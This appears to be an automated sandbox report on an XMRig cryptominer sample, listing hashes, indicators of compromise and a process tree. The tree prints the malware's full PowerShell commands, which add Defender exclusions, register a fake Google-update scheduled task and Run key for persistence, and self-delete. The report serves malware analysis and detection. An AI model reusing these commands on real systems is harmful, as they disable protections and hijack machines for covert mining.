xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
1800s
max time network
1801s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
16/01/2024, 20:08

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General

Target

RmJBfzgfbWELMdgn.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2164 created 3292	2164	RmJBfzgfbWELMdgn.exe	36
PID 2164 created 3292	2164	RmJBfzgfbWELMdgn.exe	36
PID 2164 created 3292	2164	RmJBfzgfbWELMdgn.exe	36
PID 2164 created 3292	2164	RmJBfzgfbWELMdgn.exe	36
PID 1816 created 3292	1816	updater.exe	36
PID 1816 created 3292	1816	updater.exe	36
PID 1816 created 3292	1816	updater.exe	36
PID 1816 created 3292	1816	updater.exe	36
PID 3200 created 3292	3200	conhost.exe	36
PID 1816 created 3292	1816	updater.exe	36

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral4/memory/5092-125-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-129-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-130-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-132-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-134-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-138-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-140-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-142-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-144-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-146-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-148-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-150-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-152-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-154-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-156-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-158-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-160-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-162-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-164-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-166-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-168-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-170-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-172-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-174-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-176-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-178-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-180-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-182-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-184-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig
behavioral4/memory/5092-186-0x00007FF765B10000-0x00007FF766304000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
1816	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/memory/5092-122-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-125-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-129-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-130-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-132-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-134-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-138-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-140-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-142-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-144-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-146-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-148-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-150-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-152-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-154-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-156-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-158-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-160-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-162-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-164-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-166-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-168-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-170-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-172-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-174-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-176-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-178-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-180-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-182-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-184-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx
behavioral4/memory/5092-186-0x00007FF765B10000-0x00007FF766304000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1816 set thread context of 3200	1816	updater.exe	111
PID 1816 set thread context of 5092	1816	updater.exe	117

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	RmJBfzgfbWELMdgn.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3528	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
2164	RmJBfzgfbWELMdgn.exe
2164	RmJBfzgfbWELMdgn.exe
544	powershell.exe
544	powershell.exe
2164	RmJBfzgfbWELMdgn.exe
2164	RmJBfzgfbWELMdgn.exe
1576	powershell.exe
1576	powershell.exe
2164	RmJBfzgfbWELMdgn.exe
2164	RmJBfzgfbWELMdgn.exe
2164	RmJBfzgfbWELMdgn.exe
2164	RmJBfzgfbWELMdgn.exe
2988	powershell.exe
2988	powershell.exe
1816	updater.exe
1816	updater.exe
3832	powershell.exe
3832	powershell.exe
1816	updater.exe
1816	updater.exe
3984	powershell.exe
3984	powershell.exe
1816	updater.exe
1816	updater.exe
1816	updater.exe
1816	updater.exe
3200	conhost.exe
3200	conhost.exe
1816	updater.exe
1816	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
664	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	544	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeIncreaseQuotaPrivilege	1576	powershell.exe
Token: SeSecurityPrivilege	1576	powershell.exe
Token: SeTakeOwnershipPrivilege	1576	powershell.exe
Token: SeLoadDriverPrivilege	1576	powershell.exe
Token: SeSystemProfilePrivilege	1576	powershell.exe
Token: SeSystemtimePrivilege	1576	powershell.exe
Token: SeProfSingleProcessPrivilege	1576	powershell.exe
Token: SeIncBasePriorityPrivilege	1576	powershell.exe
Token: SeCreatePagefilePrivilege	1576	powershell.exe
Token: SeBackupPrivilege	1576	powershell.exe
Token: SeRestorePrivilege	1576	powershell.exe
Token: SeShutdownPrivilege	1576	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeSystemEnvironmentPrivilege	1576	powershell.exe
Token: SeRemoteShutdownPrivilege	1576	powershell.exe
Token: SeUndockPrivilege	1576	powershell.exe
Token: SeManageVolumePrivilege	1576	powershell.exe
Token: 33	1576	powershell.exe
Token: 34	1576	powershell.exe
Token: 35	1576	powershell.exe
Token: 36	1576	powershell.exe
Token: SeIncreaseQuotaPrivilege	1576	powershell.exe
Token: SeSecurityPrivilege	1576	powershell.exe
Token: SeTakeOwnershipPrivilege	1576	powershell.exe
Token: SeLoadDriverPrivilege	1576	powershell.exe
Token: SeSystemProfilePrivilege	1576	powershell.exe
Token: SeSystemtimePrivilege	1576	powershell.exe
Token: SeProfSingleProcessPrivilege	1576	powershell.exe
Token: SeIncBasePriorityPrivilege	1576	powershell.exe
Token: SeCreatePagefilePrivilege	1576	powershell.exe
Token: SeBackupPrivilege	1576	powershell.exe
Token: SeRestorePrivilege	1576	powershell.exe
Token: SeShutdownPrivilege	1576	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeSystemEnvironmentPrivilege	1576	powershell.exe
Token: SeRemoteShutdownPrivilege	1576	powershell.exe
Token: SeUndockPrivilege	1576	powershell.exe
Token: SeManageVolumePrivilege	1576	powershell.exe
Token: 33	1576	powershell.exe
Token: 34	1576	powershell.exe
Token: 35	1576	powershell.exe
Token: 36	1576	powershell.exe
Token: SeIncreaseQuotaPrivilege	1576	powershell.exe
Token: SeSecurityPrivilege	1576	powershell.exe
Token: SeTakeOwnershipPrivilege	1576	powershell.exe
Token: SeLoadDriverPrivilege	1576	powershell.exe
Token: SeSystemProfilePrivilege	1576	powershell.exe
Token: SeSystemtimePrivilege	1576	powershell.exe
Token: SeProfSingleProcessPrivilege	1576	powershell.exe
Token: SeIncBasePriorityPrivilege	1576	powershell.exe
Token: SeCreatePagefilePrivilege	1576	powershell.exe
Token: SeBackupPrivilege	1576	powershell.exe
Token: SeRestorePrivilege	1576	powershell.exe
Token: SeShutdownPrivilege	1576	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeSystemEnvironmentPrivilege	1576	powershell.exe
Token: SeRemoteShutdownPrivilege	1576	powershell.exe
Token: SeUndockPrivilege	1576	powershell.exe
Token: SeManageVolumePrivilege	1576	powershell.exe
Token: 33	1576	powershell.exe
Token: 34	1576	powershell.exe
Token: 35	1576	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4180 wrote to memory of 3432	4180	cmd.exe	103
PID 4180 wrote to memory of 3432	4180	cmd.exe	103
PID 2988 wrote to memory of 860	2988	powershell.exe	104
PID 2988 wrote to memory of 860	2988	powershell.exe	104
PID 1816 wrote to memory of 3200	1816	updater.exe	111
PID 2724 wrote to memory of 3528	2724	cmd.exe	116
PID 2724 wrote to memory of 3528	2724	cmd.exe	116
PID 1816 wrote to memory of 5092	1816	updater.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3292
- C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe
  "C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1576
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4180
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:3432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2988
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3984
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:3200
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:5032
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:3528
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:5092

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
1⤵
PID:3528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
PID:1628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
1.6MB

MD5
2d960a842335d784c579e7e5c136128c

SHA1
45bc7d13540f5b7b95a315974bae889a0dbba03e

SHA256
46ce63a6730463caaedda75bd0101c15a314c9721adfa03101152f39e4a8ae5d

SHA512
81c06023e47cf1d3702de26bf6b8627aa497a205e508529634a12d27b88e5de959e7de3fb8508e81f76cdc74b0bf0251087d8df4d55c35a6a2cee6d25b113165

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

